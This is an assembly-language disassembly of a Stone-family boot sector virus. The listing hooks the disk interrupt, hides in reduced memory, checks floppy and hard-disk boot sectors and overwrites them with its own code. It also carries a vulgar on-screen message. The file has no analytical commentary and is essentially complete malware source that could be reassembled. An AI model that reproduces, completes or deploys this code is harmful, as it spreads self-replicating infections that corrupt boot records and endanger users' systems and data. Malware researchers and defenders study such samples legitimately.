
PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл								         лл
;лл			        STONE				         лл
;лл								         лл
;лл      Created:   1-Jan-80					         лл
;лл      Passes:    5	       Analysis Options on: none	         лл
;лл								         лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

d_0000_004C_e	equ	4Ch
d_0000_004E_e	equ	4Eh
main_ram_size_	equ	413h
timer_low_	equ	46Ch
d_0000_7C00_e	equ	7C00h			;*
d_0000_7C0A_e	equ	7C0Ah			;*
d_0000_7C0C_e	equ	7C0Ch			;*
d_0000_7C10_e	equ	7C10h			;*
data_0000_e	equ	0
data_0008_e	equ	8
data_0009_e	equ	9
data_000A_e	equ	0Ah
data_000E_e	equ	0Eh
data_0012_e	equ	12h
data_03E0_e	equ	3E0h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

stone		proc	far

start:
;*		jmp	far ptr l_07C0_0005	;*
		db	0EAh, 05h, 00h,0C0h, 07h
		jmp	loc_01C1
		db	 00h, 00h, 00h, 00h, 00h, 00h
		db	 04h, 01h, 00h, 00h, 00h, 7Ch
		db	 00h, 00h, 1Eh, 50h, 80h,0FCh
		db	 02h, 72h, 18h, 80h,0FCh, 04h
		db	 73h, 13h, 80h,0FAh, 00h, 75h
		db	 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h
		db	 40h, 04h, 0Ah,0C0h, 75h, 03h
		db	0E8h, 07h, 00h
		db	 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
		db	 00h
		db	 53h, 51h, 52h, 06h, 56h, 57h
		db	0BEh, 04h, 00h
loc_0145:
		mov	ax,201h
		push	cs
		pop	es
		mov	bx,200h
		mov	cx,1
		xor	dx,dx			; Zero register
		pushf				; Push flags
		call	dword ptr cs:data_000A_e
		jnc	loc_0168		; Jump if carry=0
		xor	ax,ax			; Zero register
		pushf				; Push flags
		call	dword ptr cs:data_000A_e
		dec	si
		jnz	loc_0145		; Jump if not zero
		jmp	short loc_01A5
		db	90h
loc_0168:
		xor	si,si			; Zero register
		mov	di,200h
		mov	ax,es:[si]
		cmp	ax,es:[di]
		jne	loc_0182		; Jump if not equal
		mov	ax,es:[si+2]
		cmp	ax,es:[di+2]
		jne	loc_0182		; Jump if not equal
		jmp	short loc_01A5
		db	90h
loc_0182:
		mov	ax,301h
		mov	bx,200h
		mov	cx,3
		mov	dx,100h
		pushf				; Push flags
		call	dword ptr cs:data_000A_e
		jc	loc_01A5		; Jump if carry Set
		mov	ax,301h
		xor	bx,bx			; Zero register
		mov	cl,1
		xor	dx,dx			; Zero register
		pushf				; Push flags
		call	dword ptr cs:data_000A_e
loc_01A5:
		pop	di
		pop	si
		pop	es
		pop	dx
		pop	cx
		pop	bx
		retn

stone		endp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;			       SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_01AC	proc	near
loc_01AC:
		mov	al,cs:[bx]
		inc	bx
		cmp	al,0
		jne	loc_01B5		; Jump if not equal
		retn
loc_01B5:
		push	ax
		push	bx
		mov	ah,0Eh
		mov	bh,0
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		pop	bx
		pop	ax
		jmp	short loc_01AC
sub_01AC	endp

loc_01C1:
		xor	ax,ax			; Zero register
		mov	ds,ax
		cli				; Disable interrupts
		mov	ss,ax
		mov	sp,7C00h
		sti				; Enable interrupts
		mov	ax,ds:d_0000_004C_e
		mov	ds:d_0000_7C0A_e,ax
		mov	ax,ds:d_0000_004E_e
		mov	ds:d_0000_7C0C_e,ax
		mov	ax,ds:main_ram_size_
		dec	ax
		dec	ax
		mov	ds:main_ram_size_,ax
		mov	cl,6
		shl	ax,cl			; Shift w/zeros fill
		mov	es,ax
		mov	ds:d_0000_7C10_e,ax
		mov	ax,16h
		mov	ds:d_0000_004C_e,ax
		mov	ds:d_0000_004E_e,es
		mov	cx,1E0h
		push	cs
		pop	ds
		xor	si,si			; Zero register
		mov	di,si
		cld				; Clear direction
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		jmp	dword ptr cs:data_000E_e
		mov	ax,0
		int	13h			; Disk  dl=drive a  ah=func 00h
						;  reset disk, al=return status
		xor	ax,ax			; Zero register
		mov	es,ax
		mov	ax,201h
		mov	bx,d_0000_7C00_e
		cmp	byte ptr cs:data_0008_e,0
		je	loc_0226		; Jump if equal
		mov	cx,2
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		jmp	short loc_0266
		db	90h
loc_0226:
		mov	cx,3
		mov	dx,100h
		int	13h			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		jc	loc_0266		; Jump if carry Set
		test	byte ptr es:timer_low_,7
		jnz	loc_023E		; Jump if not zero
		mov	bx,1B2h
		call	sub_01AC
loc_023E:
		push	cs
		pop	es
		mov	ax,201h
		mov	bx,200h
		mov	cx,1
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		jc	loc_0266		; Jump if carry Set
		push	cs
		pop	ds
		mov	si,200h
		mov	di,data_0000_e
		mov	ax,[si]
		cmp	ax,[di]
		jne	loc_0277		; Jump if not equal
		mov	ax,[si+2]
		cmp	ax,[di+2]
		jne	loc_0277		; Jump if not equal
loc_0266:
		mov	byte ptr cs:data_0008_e,0
		mov	byte ptr cs:data_0009_e,0
		jmp	dword ptr cs:data_0012_e
loc_0277:
		mov	byte ptr cs:data_0008_e,2
		mov	byte ptr cs:data_0009_e,0
		mov	ax,301h
		mov	bx,200h
		mov	cx,2
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 03h
						;  write sectors from mem es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		jc	loc_0266		; Jump if carry Set
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	si,data_03E0_e
		mov	di,1E0h
		mov	cx,0FDE0h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	ax,301h
		mov	bx,data_0000_e
		mov	cx,1
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 03h
						;  write sectors from mem es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		jmp	short loc_0266
		db	7
                db      'I am Andrew Dice Clay!'
		db	 07h, 0Dh, 0Ah, 0Ah, 00h
                db      'So, BLOW ME....Hey!'

seg_a		ends



		end	start
